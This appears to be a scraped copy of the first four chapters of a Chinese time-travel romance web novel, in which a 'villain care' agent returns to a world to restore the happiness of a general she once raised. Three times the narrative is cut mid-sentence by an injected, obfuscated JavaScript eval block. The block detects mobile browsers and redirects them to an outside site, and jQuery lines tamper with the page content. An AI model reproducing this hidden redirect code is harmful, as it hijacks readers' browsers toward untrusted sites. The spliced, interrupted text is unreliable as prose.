《攻略对象的白月光竟是我》
1. 刺杀
一瞬天旋地转后,意识渐渐回笼。
陈念念熟门熟路地睁开眼睛观察四周。
视野里一片黑暗,没有日光也没有灯火。
好不容易找到门缝透进的一点微光,陈念念看清自己正处在一个狭小的柴房里,姿势不自然地瘫坐在地,身上衣衫破旧,手脚被绳子紧紧捆着,勒出了血痕。
她的身边还挤着数十个同样手脚被捆的年轻女子,一个个瑟缩着身子哭得撕心裂肺。
系统:【检测到原任务角色已死亡,临时为宿主切换随机角色接入,随机角色无法提供背景资料,无法载入原身记忆,请知悉!】
“随机到了个什么倒霉角色,一上来就捆绑play?”
系统:【平平无奇的炮灰罢了。】
“哎!”
陈念念是时空管理局反派关怀部的执行员,执行任务近百,业绩出色。
上一秒刚在主空间里躺下,下一秒却因任务编号099攻略对象的幸福感不达标而触发了弥补任务。
没来得及把手里半个桃子啃完,就被系统无情地扔进了任务小世界。
陈念念关怀过的反派,幸福感基本都保持在100以上,且常年稳定,这个任务编号099一下就降到了-99,她得好好想想是哪个小混蛋。
好像是个将军府世子,名叫风……想不起来了。
明明刚做完任务没多久,怎么记忆这么模糊?
系统:【温馨提示,弥补任务期间复活功能无法使用,请珍爱生命远离危险!】
不知身份,且无法复活,这开局上难度了。
陈念念决定先逃出去,再思考任务的事。
本想费些时间解开绳子,可耳边立体环绕的哭声着实扰得她集中不了精力。
她干脆贴墙站起身,一蹦一跳到门前,用肩膀猛得撞在门上。
离门最近的年轻女子被陈念念的举动打断了哭泣节奏,劝道:“别白费力气了,抓我们的山贼很厉害,你这样逃不出去的。”
陈念念不屑:“不就是山贼?有本事抓我,你有本事开门呀!”
“吱呀——”
猝不及防间,柴房门真的开了。
破旧的门板从外向内一下呼在陈念念脸上,将她撞倒在地。
陈念念抬起头准备怒骂,却见面前站着一个高大魁梧、凶神恶煞的中年男人,手中大刀猛地一挥,正巧指在她胸前,锋利的刀尖闪着冰凉的月光。
她当即闭了嘴,反挂起笑容。
能屈能伸,是一个任务执行员的基本素养。
“都给老子出来!”山贼根本懒得看陈念念,粗鲁地将她拎起扔到门外。
已是夜里,暮色深沉,但四面都点着火把,人声鼎沸。
看周围的建筑,确是个颇具规模的山寨,前方不远就是山寨大堂,露天的。
所有年轻女子挨个被从房内扔出,排成一列长队向着山寨大堂移动。
大堂正中石椅上坐着一个满身杀气胳膊上有数道刀疤的男人,想必就是山贼头头。
“瞅什么瞅,给老子老实点!”
中年男人狠狠推了陈念念一把,转头跑到山贼头头面前,嚣张秒变狗腿:“大哥真乃大智慧,学那什么将军办选妻宴,让小弟们大开眼界!这几日抓的都是去参加选妻宴的富家小姐,真是个儿顶个儿的细嫩!”
前面的黄衣女子忽嗤了一声:“选妻宴?你们这德行也配?”
声音坚决,藏不住的挑衅,与刚才哭哭啼啼的模样判若两人。
陈念念趁山贼被吸引了注意,偷偷弯下腰解脚上的绳子,还不忘竖起耳朵吃瓜。
黄衣女子继续说着,越说越义愤填膺:“选妻宴是皇上特地为赤影将军举办的,赤影将军文韬武略,战功赫赫,护陈念念山河,更是风度翩翩,相貌非凡,看看你们的样子,哪一点比得上赤影将军的一根头发?”
多人附和道,“就是就是!东施效颦,不知廉耻!”
……
陈念念不禁疑惑,赤影将军是何许人也?
瞧把这群小姑娘迷得,一提到他,一个个连命都不要了。
山贼头头听惯了好话,被这么一堵,脸气得通红,想了半天却没反驳出一个字来。
陈念念更是震惊,什么神人,治得山贼头头都放不出一个响屁来?
仔细回忆,她发现自己竟从未听过赤影将军这个名号。
为了掩饰尴尬,山贼头头拿起一旁的大刀一阵狂舞,吓得所有人连连后退。
只有陈念念面不改色。
他的目光自然落到陈念念的身上,只一眼,手一抖,大刀掉落在地。
陈念念对山贼头头的反应毫不意外。
美貌一直是她的大杀器,助她横扫九十九个任务世界。
她从不吝惜使用这个大杀器,当即抬起头,露出一个动人心魄的笑容。
山贼头头的脸色肉眼可见地沉下去,忙不迭别开头,像是看到了什么极为可怕的东西,沉默了好一会才缓过劲儿,嫌弃地摆手,怒道:“你们几个长不长眼睛,这么丑也敢往我面前带,赶紧拖出去砍了!”
陈念念:“?”
我丑?怕不是你瞎!
没等陈念念表达不满,两名山贼火速架起她拖离了大堂。
拖至远处桃林,两名山贼也不愿多看陈念念,二话不说举起大刀就向着她的脖子砍下。
陈念念努力表现出害怕,心中却平静地喊出系统:“坑货……”
系统:【当前剩余积分10,一喷即晕5积分,40米长刀10积分,挑一个。】
“算了,省点积分。”
刚刚在路上已成功解开了绳子,陈念念抬起手,准备开始自己的表演。
然而,倏忽间乌云遮月。
一阵疾风划过耳际,将陈念念的发髻整个吹乱。
“哐嘡哐嘡——”
两把大刀同时掉落,两名山贼相继晕倒在地。
陈念念只隐约感觉到一个黑影闪过,愣了几秒,尴尬地收回举到半空的手。
一个背上背着两把剑的男子急匆匆向陈念念跑来,安抚道:“姑娘不必害怕,我家公子途径此处,听闻山贼恶劣行径,今晚必踏平这山寨,为民除恶。”
见陈念念没反应,又补充,“别不信,对付这点山贼,我家公子一人足矣。”
陈念念踉跄着站起身,听见山寨大堂的方向接连传来凄厉惨叫声,急忙跑去围观。
不过离开几分钟,山寨大堂里已是截然不同的情形。
原
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446662|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本气势汹汹的山贼一个个狼狈不堪地躺在地上不省人事。
被抓的年轻女子顾不上解开手脚上的绳子,一个个昂着头,踮起脚,满脸期待地望向不远处,表情像是看见了——神仙下凡?
“还以为死定了,幸好赤影将军及时赶到!”
“好帅!好帅!好帅!”
“我本去京城参加选妻宴,不成想在此一睹将军的风采,死而无憾!”
“赤影将军是我黎国的传奇,武艺高强,战功卓越,冷静睿智,才华横溢……偏还生得相貌出尘,世间难有,若能嫁给如此完美的人,必是修了十几辈子的福气!”
“将军二十三岁仍无妻无子,也无红颜,将军的眼光必是非凡,不知怎样的妙人才能入得了他的眼?”
……
陈念念也好奇地抬起头,循着她们的目光望去。
可惜看晚了,只见一个离去的背影。
一袭黑衣如在月中,皎皎月华勾勒出他留下的残影。
身形修长,身姿飒踏,长剑在手。
鸦青色的发带任凉风吹拂,衬得他周身自在、平静,却又透出一丝不容忽视的肃杀。
确实有几分与众不同,但也不至于无脑夸吧?
收回目光,陈念念低头看向遍地的山贼,总觉得少了点什么,蹲下身挨个检查一番,找来找去,没有找到山贼头头,想必是趁乱跑了。
陈念念急忙道:“坑货,赶紧的,上追踪道具。”
系统:【追踪器8积分,这点小事确定不省省?】
“不省。”陈念念立刻回答,“这是小事吗!那个睁眼瞎竟然说我丑,我什么时候受过这种委屈?现在局里提倡文明,我保证不挖他眼睛,但不让他牢底坐穿,我就……”
系统:【懂了。宿主臭美,且小心眼儿。】
顺着系统提供的追踪信号,陈念念一路追到山寨边缘。
身后的火光越来越暗,四周越来越安静。
陈念念的五感比常人敏锐许多,山间的任何风吹草动都逃不过她的眼睛和耳朵。
忽的,她听见长剑出鞘的声音。
随即,在正前方一棵枝叶繁茂的树下捕捉到一个高大挺拔的身影。
距离尚远,陈念念看不清他的模样,但没认错的话,应该就是刚刚那个来去如风,轻轻松松救了她,救了所有被抓的人,并收获了一筐彩虹屁的黑衣人。
黑衣人也发现了陈念念,冷冷告诫:“离我远点。”
低音炮,冷漠中带着一丝恰到好处的性感。
正是陈念念最喜欢的声音。
陈念念对他更为好奇,脚步不自觉地向他靠近,嘴里解释着:“你别想太多,我只是路过,绝对不是跟着你来的,相遇便是缘分,你别对我这么凶!”
与他的距离越来越近,再两步就能到他的身前,她迈开的脚却一缩。
才发现,气氛好像不太对劲儿?
他怎么拿着剑却一动不动,像是在等着什么?
陡然间,刀出鞘,箭离弦,杀意铺天盖地而来。
原本只有风声和树影的空旷山间,不到三秒便聚集了数不清的蒙面人,气势汹汹地将陈念念和黑衣人团团围住,全身上下明晃晃地传达着——
“刺杀了解一下。”
2. 重逢
陈念念当即垂下头,缩了缩肩膀,一副害怕极了的模样:“各位大侠,我只是路过的,现在就走,保证什么也不会说出去!”
可惜,为时已晚。
没有人有兴趣听她的解释,并向她送来了数支飞箭。
陈念念弯下腰,堪堪躲过羽箭攻击,还没来得及喘口气,忽觉背上被狠狠踹了一脚,身体不受控制地向前倒去,直直撞在面前的黑衣人身上。
手碰到黑衣人的手臂,她本能地牢牢抓住,然而,尚未站稳,她就被毫不留情地甩开,同时肩膀上受了一掌,身体向后倒去,一屁股跌坐在地上。
心中火气噌得窜上来,她怒道:“过分了!我又不是个球!”
她抬手再次抓向黑衣人的手臂,只抓住一截衣袖,拉着衣袖艰难起身,同时抬起头,准备给他一个凶狠的眼神,好好骂他一顿,“尤其是你……”
可目光触到他的脸,神情一顿,声音戛然而止。
【皎皎水中月,皑皑心上雪,寸寸霜华勾勒出他分明的棱角,冰封雪色却化在他不经意回望的眉宇之间,万里璀璨星河,不抵他唇上一点风霜。】
【精致的五官挑不出一点瑕疵,瓷白的皮肤为他更添清冷的气息,如天上谪仙一般浑然天成的气质,却暗藏着凡尘俗世的蛊惑,仿佛要将人的整颗心牢牢牵绊。】
系统是个颜控,冷不丁冒出来评价。
好尬。
但内容属实。
陈念念没有那么多华丽的辞藻。
她只有一句。
“好一张帅脸!”
这是陈念念穿越过99个小世界,见过最好看、最耐看、最惊世骇俗的一张脸,难怪那些见过他的和没见过他的人,都在夸赞他这件事情上穷尽了毕生言语。
可他这张最好看、最耐看、最惊世骇俗的脸上,却有一双冰凉的没有一丝感情的眼睛。
刀光和人影映在他的瞳孔,又一瞬隐去,无法留在他眼中。
他用长剑利落斩断被陈念念抓住的衣袖,动作自然得如同拂去一粒微尘。
刺客们一哄而上:“别想走,都得死!”
陈念念慌忙躲避着攻击,脑中却仍是他的脸。
好像有点眼熟?
疑问一时盖过危机感,她不顾刀光剑影跑回黑衣人身边,踮起脚,趁他不备用力捧住他的脸仔细端详。
熟悉的眉宇,熟悉的鼻梁,熟悉的嘴唇、耳朵、脖子,甚至脖子上不易察觉的两颗小痣,熟悉的她曾经嫉妒过无数次的冷白皮肤……
没错,就是他。
陈念念此次的攻略目标,编号099——
风慕予!
【恭喜!成功确定任务目标奖励20积分!】
【小结,当前可使用22积分,冻结0积分,负债0积分!】
依稀记得,上次离开时他刚满十五岁,再见面,都长这么大了?
他如今已成为赤影将军,功成名就,有权有势,有才有貌,怎么可能幸福感-99?
系统真不是在逗她?
【谁有空逗你?幸福感为负,必有原因。】
“乖,你告诉我,哪里不……”
陈念念准备直接问他,话说了一半,忽觉肩膀上一痛。
刺客原本刺向风慕予的剑,意外刺中了她。
陈念念痛得撕牙咧嘴,只能任着自己的手无力地自风慕予脸上滑落,见他游刃有余地躲避着攻击,明知她踉跄着就要栽倒在地,没有一点要扶她的意思。
风慕予手中长剑如光影翻飞,酷炫得像是带了特效,毫不费力就将所有刺客一一击倒,不过片刻,嘈杂的山间又恢复来时的宁静。
他正巧停留在陈念念的身前,仔细扫视四周,似在检查着是否还有漏网之鱼隐藏在暗中,检查完毕,利落地将长剑收回剑鞘中,转身就要离开。
陈念念:“?”
她这么大只躺在地上,他是完全不准备管吗?
哪能那么简单放他离开,陈念念咬牙忍着疼,伸出双手抱住他的腿,努力挤出两滴眼泪,无力又无助地说:“我只是伤到肩膀,还可以抢救一下……”
见他不回话,不放心地加重手上力道,还强行给他扣锅,“若不是因为将军,我也不会遭遇刺客,更不会受伤,堂堂赤影将军不会对一个弱女子见死不救吧?”
风慕予还是没说话,一提脚,轻而易举挣脱了钳制。
陈念念:“……”
多年不见,力量已经相差这么多了吗?
风慕予退开两步,低下头,眸光漫不经心地落在陈念念身上。
明明刚经历了一场激战,他却衣衫平整,面色如常,白皙的皮肤即使背着光依旧白得夺目,束起的长发在夜风中轻轻飘散,落在肩头的树叶都像是精心点缀。
将军身经百战、风吹日晒,不应该皮肤黝黑、满身伤痕嘛?
他怎么还像小时候一样白!
看来她留下的防晒护肤品效果真是不错!
“会有人来救你。”他的声音冰冷而疏离,算是给了交代。
说完,身形一闪,已在远处的树顶上。
陈念念不死心地喊:“你不能现在就救我吗?”
回答她的,只有消失的背影,和寂寥的夜空。
陈念念和风慕予曾朝夕相处,感情甚笃,曾经的他粘她、依赖她,对她可谓言听计从,如今竟对她如此冷漠,虽换了一个身份,她还是免不了气闷。
但更多的,是心悸。
他本是整个黎国最阳光明媚的少年,怎会成了这冷情冷性的模样?
联想到他的幸福感低至-99,她不在的这些年发生了什么?
肩膀上的伤口不住淌着血,疼痛蔓延到全身,脸色越来越苍白,昭示着死亡离陈念念越来越近,陈念念却陷入了深思。
系统:【你血要流干了。】
回过神来准备止血,眼角余光瞥见一个背着两把剑的男子飞速跑来将她扛起。
不知是血流得实在太多,还是到了睡点太困,她一动不动趴在男子背上,只觉眼皮越来越沉,意识越来越模糊。
恍惚中,陈念念感觉到男子将她放下,惊叹了一声:“公子,她中的剑上有毒。”
还有一个稍显稚嫩的女声,在她的耳边大哭:“姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446663|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我是思思,你不要吓我呜呜呜……”
-
陈念念做了一个梦。
约是个冬日,天色已晚,公主府窗门紧闭,炭盆中火势旺盛。
丫鬟高兴地说着:“虽没有照往年一样举办生辰宴,但除了镇国将军府,其他各宫各府都送来了贺礼。长公主,今日可收了不少宝贝,奴婢这就给您念念……”
陈念念躺在长榻上打着哈欠,嫌弃地摆了摆手:“每年都是那么些东西,一点新意也没有。你们下去,让我一个人待会。”
房内清净以后,忽多了奇怪的声响。
“咚!”“咚!”
像石子敲击在窗上。
陈念念上前推开窗门,未看见任何人影,却了然道:“你如今已是镇国将军府的大公子,怎还如此不守规矩,什么时候学会走正门?”
“规矩如此多,烦!”
风慕予轻捷地自屋顶跳下,稳稳落地,倾身靠在窗台上,对她露出一个灿烂的笑容。
趁着陈念念不注意,他拉过她的手臂,轻轻一提便将她拉到了窗外。
“我有一份世间独一无二的礼物要送给姑姑,跟我走。”
陈念念好奇:“你要带我去哪儿?”
“一个只有我能带你去的地方。”
风慕予自信地回答。
陈念念望着夜空下的少年,青春活力,无所畏惧,生着阳光的模样。
白皙的脸颊,被夜风吹得微微泛红,眉梢眼角,都带着浅浅的笑意,对上她严厉的目光,不但没有移开视线,反而加深了笑意。
多年以后,寂寥的冬日、无趣的夜晚、刺骨的寒风都模糊在了记忆里,只有少年眼中和煦的光,清晰地温和地留存在陈念念的心上。
风慕予,陈念念第99个任务的攻略目标。
如今,她以不一样的身份再次回到这个世界,还是为了他。
陈念念身为反派关怀员,当反派角色的黑化值超出临界点,影响到小世界运转,系统便会向她发布任务,命她前往调、教,不不不,关怀反派。
原世界中,风慕予是镇国将军府的嫡子,却在幼年时遭奸人暗害,母亲离世,身份被夺,流落在外,孤身一人尝尽世间冷暖,赤手空拳越过尸山血海,成为了一个阴狠孤僻、杀人如麻,人人闻之丧胆的大魔头。
他操纵杀手组织暗杀黎国皇帝和官员,为黎国带去了最黑暗、最绝望的时代。
陈念念穿成游历四方时意外落难的黎国长公主,自残暴的人贩子手中救下他,怜他,护他,教导他,用养亲儿子般的细心耐心,成功将狠孤僻、杀人如麻的大魔头养成根正苗红、意气风发、阳光明媚的好少年!
任务完成后,陈念念诈死脱离了小世界。
忽的,温馨的画面隐去,陈念念的面前出现一双冰凉的眼睛。
没有喜怒,没有好恶,没有感情,正是她中剑倒下时风慕予看她的眼神。
他一直说着什么,声音由起初的平静温柔,变得悲伤忧虑,渐渐带上了掩不住的怨恨。
到最后,成了阴狠的嘶吼。
陈念念却怎么也听不清。
3. 偷听
陈念念忽从床上惊起,捂着胸大口喘气。
应当是做了个噩梦,可才醒来一秒,已完全忘记梦中情景。
缓过劲儿,陈念念赶紧查看肩膀上的伤口,有些疼,但无大碍。
随即,扫视四周。
头上是一顶陌生的素色床帐,屋内清一色摆着绿檀色的家具,床边的矮几上放着一个药碗,床头还趴着一个约莫十三四岁的小女孩。
陈思思见陈念念醒了,又惊又喜地抓住陈念念的手:“姐,你可吓死我了呜呜呜……”
陈念念记得,昏迷前有个小女孩喊她姐姐。
瞧她身上的衣服,和她的一样颜色老气,半新不旧,一看就是从同一块布上裁下来的。
她是原身的妹妹没跑了。
陈念念故作熟稔地安慰:“小哭包,没事。”
又试探道,“我们这是在……”
陈思思抹了泪,解释道:“姐,你昏迷整整三天了,是赤影将军的护卫救了你,护送我们回到京城,还给你留了一张方子,让你定期去春归堂抓药……”
说着,拿出纸条递给她。
陈念念问:“那风慕……不,赤影将军人呢?”
陈思思答:“自然是回将军府了。”
陈念念当即掀开被子下床。
陈思思急忙拦她:“姐,你不会也被迷住了吧?赤影将军救你,并不需要你以身相许,想要以身相许的姑娘早从将军府门外排到了边境,每天都有人变着法儿想和赤影将军偶遇,就算排队也轮不上你。”
陈念念只是饿了,想去找点吃的。
但听陈思思这么说,还是心中一沉。
风慕予是她辛苦拉扯大的,她一定要认真对待这次任务。
第一步,她得先接近他,找出他幸福感骤降的原因。
可他身边狂蜂浪蝶如此多,竞争如此激烈,着实有些棘手!
陈思思将陈念念拉到梳妆台前:“先梳洗一番吧。”
陈念念没多想,一坐下便看向镜中的自己。
差点没被吓死。
镜中的人,长发乌黑亮泽,发髻却凌乱如鸡窝。
双眼皮,长睫毛,一双大眼睛,眸子却空洞无神,还有黑眼圈。
樱桃小嘴,唇色鲜艳,唇角却有一颗不容忽视的大痣。
最重要的是,左边脸颊上一块红色胎记,越看越是瘆人。
陈念念不由腹诽:“错怪山贼了。”
确实丑,连她自己都恨不得把头拧掉。
陈念念按下嫌弃的心,边梳头边套陈思思的话。
很快得知,她们是一母同胞的姐妹,一直生活在偏远小城,母亲离世,父亲陈信安是当朝户部侍郎,半月前忽派了马车接她们回京。
这点信息太少了,她需要更多关于京城关于风慕予的消息。
陈思思说府里规矩多,来了两日连她们所在的院子都没出去过。
陈念念老实待了一日,第二日一早准备偷溜出府,正思考着怎么打发陈思思,忽听见敲门声。
丫鬟进门:“老夫人请三姑娘,五姑娘去前厅。”
因为一直在养伤,陈念念还没见过陈家任何一个人,长辈有请,自是不能拒绝。
陈念念回道:“烦请带路。”
跟着丫鬟的指引去往前厅,一路上水榭亭台,花团锦簇,景色着实不错,看得出,她们这爹官不大,家底倒是殷实。
到前厅门前,丫鬟止步:“稍等,奴婢进去通传一声。”
陈念念点头,以为只需等一小会儿,却直等得肚子“咕咕”叫。
“里面干嘛呢?让不让我们进难道还要开会讨论?”她在心里嘀咕,“对了,坑货,上次搞活动不是囤了一批偷听器吗?”
系统:【你就是只猹。】
陈念念戴上窃听耳机,一时间,前厅内所有的声音都清楚传入她耳中,听这热闹劲儿,绝对不止老夫人在等着她们,少说也有五六张嘴在叽叽喳喳,有时激动得与泼妇骂街没太大差别。
听着听着,她的嘴角不自觉地勾起。
十余年不理不睬,破天荒想起她们,果然没有那么简单。
丫鬟终于叫她们进门。
陈念念拉了拉陈思思,轻声嘱咐:“别怕,进去之后听我的。”
前厅装潢得颇为华丽,厅内都是女眷,或站或坐。
一看见她们,一个个笑得花枝乱颤,嘴里说着关心的话,仿佛跟她们很熟。
最上首的老夫人慈眉善目,笑得跟朵菊花似的,冲她们招手:“念念和思思,可把你们盼来了,快,让祖母好好看看。”
家庭和睦,其乐融融,热烈的亲情扑面而来。
陈思思顿时感动得痛哭流涕。
要不是刚刚听了一耳朵,陈念念都要信了。
一一介绍了前厅内的女眷,一番嘘寒问暖,商业互吹后,老夫人终于切入正题:“三日后,赤影将军府举办选妻宴,你父亲为你记上了名额,到时你与你四妹妹同去,互相照应……你父亲虽远在丹州,不能亲自来接你,但心里是念着你的……”
呵。
陈念念在心中不屑。
她刚刚在门外可是听到,登记名额的本是府上的二小姐和三小姐,奈何二小姐不争气跟个穷书生跑了,补不上窟窿便是欺君之罪,又知选妻宴审查森严,必须年满十四周岁的亲生女儿自愿参加,方才想起了犄角疙瘩里外室所生,年满十五岁的她。
且非她不可。
送上门的把柄不捏都过意不去,陈念念拒绝道:“念念不去。”
老夫人一愣:“这可是多少人求不来的机会……”
陈念念低下头,挤出几滴自卑的眼泪,一手状似无意地抚过没有配饰的发间,抚过空空的手腕和洗得发灰的旧衣:“念念这般模样,去了只会给父亲丢人。”
老夫人急忙道:“瞎说什么,我们念念如花似玉,只需略施粉黛,必不比旁的姑娘差,晚些时候去领了银钱,叫人买些胭脂水粉,金银首饰,再挑几身好衣裳……”
陈念念还是摇头:“我只是个乡下来的丫头,没见过世面,连京城的街长什么样都没见过,更别说哪里的风景最美,哪里的……若是谈起,恐要闹笑话的。”
“别担心,还有三日,祖母准你出府好好逛逛……”
……
多番劝说,陈念念终于勉强答应。
所有人都暗暗松了口气,面上更是喜笑颜开。
约一个时辰后,陈念念踌躇地出了前厅,一转头却是笑容满面。
没有太多宅斗戏份,省了她不少事,几句话的功夫得了银两,得了自由出府的许可,最重要的是,得到了名正言顺接近风慕予的机会!
她简直不要太开心!
不过,选妻宴到底是个什么东西?
她得好好了解一下。
一把拉住陈思思,陈念念豪横地说:“走,姐带你去扫货
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446664|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
逛了胭脂铺、首饰铺、裁缝铺,又去了点心铺、杂货铺、书局等等,再去春归堂按着风慕予留下的方子把药抓了,最后,她们扛着战利品,精疲力尽地倒在茶楼的雅间里。
茶楼大厅,说书先生正绘声绘色地讲着赤影将军的故事。
“赤影将军十三岁上阵带兵,十五岁单枪匹马拿下敌将首级,武艺高强,战功卓越,十七岁时满朝上下皆受蒙蔽,唯有他识破了越国质子的阴谋,冷静睿智,当机立断……
“只要有赤影将军在,我们黎国就不会打败仗,不会失去一寸疆土,正因如此,赤影将军也成了野心家的眼中钉肉中刺,多次派遣刺客……”
风慕予如今在黎国的地位,远比陈念念想象得要高得多。
不止待字闺中的少女对他心神向往,从看客的反应可知,男女老少都对他十分尊崇,视他为黎国的传奇,他的声望甚至高过了黎国皇帝。
厉害的是,皇帝并没觉得有什么不妥,从不打压他,太子视他为挚友,从不忌惮他,皇后待他如亲儿子,有什么好东西都可劲儿往将军府送,还因忧心他的婚事而茶饭不思。
选妻宴由此而生。
皇帝冠名,太子承办,后宫联合出品,广邀黎国十五到二十岁,身心健康、家世清白的女子,今年甚至将范围扩大到了邻国,比皇帝选妃还要隆重得多。
听了说书,也听了不少看客的闲言闲语,再结合上一次穿来时的记忆,陈念念对如今的时局有了一个大概了解,回府路上在一个小书摊上买了三本书,正好将领到的银钱通通花光。
陈念念买的书分别是:
《我与赤影将军二三事》、《赤影将军不会告诉你的事》、《赤影将军的前世今生》。
世上最不靠谱的是八卦。
但最接近真相的,有时候也是八卦。
把这些书看完,说不定会有不一样的收获。
可惜,陈念念刚看到第二本,选妻宴的日子就到了,只好将书卷起收在袖子里,等得空再看。
泪别家人,坐上马车,陈念念和四小姐陈娉婷一起到了将军府门前。
选妻宴并不是单纯的宴会,而是一个持续近一个月的活动,流程堪比女团选秀。
所有参加者都被安排住在将军府,通过一轮又一轮的培训和比拼,决出排名,每轮排名第一位的参加者都有一次单独与风慕予见面的机会,最终排名将决定她们能够在最后的选妻宴上坐得离风慕予有多近。
同时,风慕予还会全程观看所有参加者的表现。
陈念念怎么这么不信呢。
先不说风慕予身为将军每日都要上朝,单说古代没有网络直播,这么无聊的场合,他真会来吗?
陈念念到得有些晚,将军府外已排了长队,好奇地四处张望,一抬头,在正前方的高台上看见了一身黑衣、迎风而立的风慕予。
他还真来了。
他的面上一片清冷,居高临下,眸光漫不经心地游离着,明媚的日光落在他上挑的眉眼,仿佛天生就带着一丝对尘世的轻蔑。
陈念念想起,风慕予从小就是个脸盲。
如果一个人不能频繁地在他面前晃上十天半个月,于他就与陌生人无异,这么多人,他这么随便看看,能记得住哪个?
她觉得有些好笑,嘴角不自觉勾起笑意。
忽的,又僵住了。
是她的错觉吗?
他好像在看着她?
4. 阴谋
陈念念今天穿了一件烟粉色的长裙,脸上用各种颜色抹得花里胡哨的,珠钗满头,和山寨时灰扑扑的形象大不相同,想着风慕予应该认不出她才是。
可他的眼神中分明有比看向旁人时更多的探究。
她心下好奇,又偷偷带上窃听耳机。
正巧听见高台上有人和他说话。
“慕兄,可是看中了哪家姑娘?”
问话的男子站在风慕予右侧,年龄与风慕予相仿,穿着一身玄色长袍,手里拿着一把折扇,温文尔雅,彬彬有礼,正是当今太子黎修齐。
好好的朝堂政务不忙,偏要来当选妻宴的总策划。
“哪个哪个?什么样的奇女子能吸引我慕哥的注意?”
站在风慕予左侧的安王世子黎景明忙不迭接话。
他的年纪比风慕予和黎修齐小上五岁,好奇又好动的性子,特地跑来凑热闹,被皇帝封为监工,专门负责监督风慕予全程观看选妻宴。
早习惯了风慕予不爱说话的性格,根本不指望得到回答,他直接顺着风慕予的视线望去,顿时瞠目结舌,“慕哥,你的眼光是不是有点……不不,肯定是因为太丑了你才看的。”
风慕予状似不经意地打量着陈念念。
他很少对他人的相貌进行品评,但听得黎景明的话,忽觉得想通了什么,难得地点了点头:“嗯。”
在陈念念的印象中,风慕予极少对他人外貌进行品评,这“嗯”的意思是——
肯定她的丑?
陈念念气得别开眼不再看风慕予,老实地跟着队伍移动。
陈娉婷早与她分开,借着其他府上小姐妹的光,插到了前面。
等得确实有些久,但她竖起耳朵听着八卦,倒也不觉无聊。
半个时辰后,陈念念终于进了门,按要求先去偏厅接受检查,上交所有的利器和药物,登记信息后,领到了一块小木牌。
参加者都不理解小木牌上字的意思,只有她什么也没问。
——099,榴花院东3号,陈念念。
没想到,她人虽不在了,教过的数字却还在府中流传着。
将军府给每个参加者都配了一个贴身丫鬟。
丫鬟引陈念念到住所,谦卑有礼:“小姐,奴婢名叫甜橙,有什么吩咐尽管唤奴婢。”
“有趣的名字,我喜欢。”陈念念随手将行李扔在床上,“我出去院子逛逛,你不用跟着。”
说着,推开门,刚迈出一只脚就听见一个熟悉的声音。
“怎么竟和你住一个院子?”陈娉婷也正好推门而出,一偏头看见自己就住在陈念念隔壁,脸色顿时一沉,狠狠瞪了一眼,没好气道,“真是晦气!”
陈家所有的女眷,陈念念独独对这位四妹妹陈娉婷印象深刻。
陈娉婷的母亲是原身爹的正妻,虽不是出身高门世家,但也是皇商之女,世代富贵,将陈府打理得井井有条,照道理,陈娉婷该有些教养,可那日在前厅就属她一口一个“野丫头”“小贱人”骂得最凶。
“互相照应?不过是说给祖母听听,我可不需要你个丑八怪照应我!”陈娉婷见陈念念不回话,轻哼一声,更是盛气凌人,“你们姐妹两那哭哭啼啼的样子,那没见过世面的话,再加上你这张脸……明明我才是府上的三小姐,凭什么你这个丑女一来,我就得让位?”
她指着陈念念警告,“你可别想借着我的名头到处招摇,京城第一美人的姐姐竟然是京城第一丑女,说出去真是丢人!”
对,陈娉婷被誉为京城第一美人来着。
户部侍郎虽平凡无奇,但他的女儿却广为人知,被认为是本届选妻宴的大热门之一。
不可否认,陈娉婷确实生得美,黛眉杏眼,唇红齿白,身材婀娜,配上一身橙红色的广袖长裙,戴着一套红宝石点缀的黄金头面,妩媚明艳,贵气逼人。
可惜,陈念念不但见过各种各样的“第一美人”,还曾拥有啪啪打脸“第一美人”的美貌。
虽然她现在丑着,但不妨碍她给予差评。
美丽废物而已。
别说看上,风慕予怕是看都不会看一眼。
既然陈娉婷不演姐妹情深了,陈念念也懒得再演,只当没看见,转头就走。
“你什么意思!你站住!”陈娉婷不管到哪里都是众人拥簇,很少受到这样的冷遇,狠狠地瞪着陈念念,气得原地跺脚。
陈念念在榴花院附近转悠了一下午,听参加者们多在议论选妻宴的事。
都说风慕予眼光非凡,选妻宴办了三年,每年都有上百位美人,却没有一个被选中。
她脑中不禁闪过一个念头。
难道风慕予幸福感下降的原因是——不、性、福?
古时早婚早育,男子二十三岁仍无妻无子,美人如流水一般在他的眼前走过他都不感兴趣,真的很可能是有什么难以启齿的隐疾!
呸呸呸!
她亲手养大的乖孩子,绝对是健健康康的!
傍晚,陈念念回榴花院吃了晚膳,准备趁着夜色再去风慕予的院子里探一探。
他住的地方,一定藏着很多秘密。
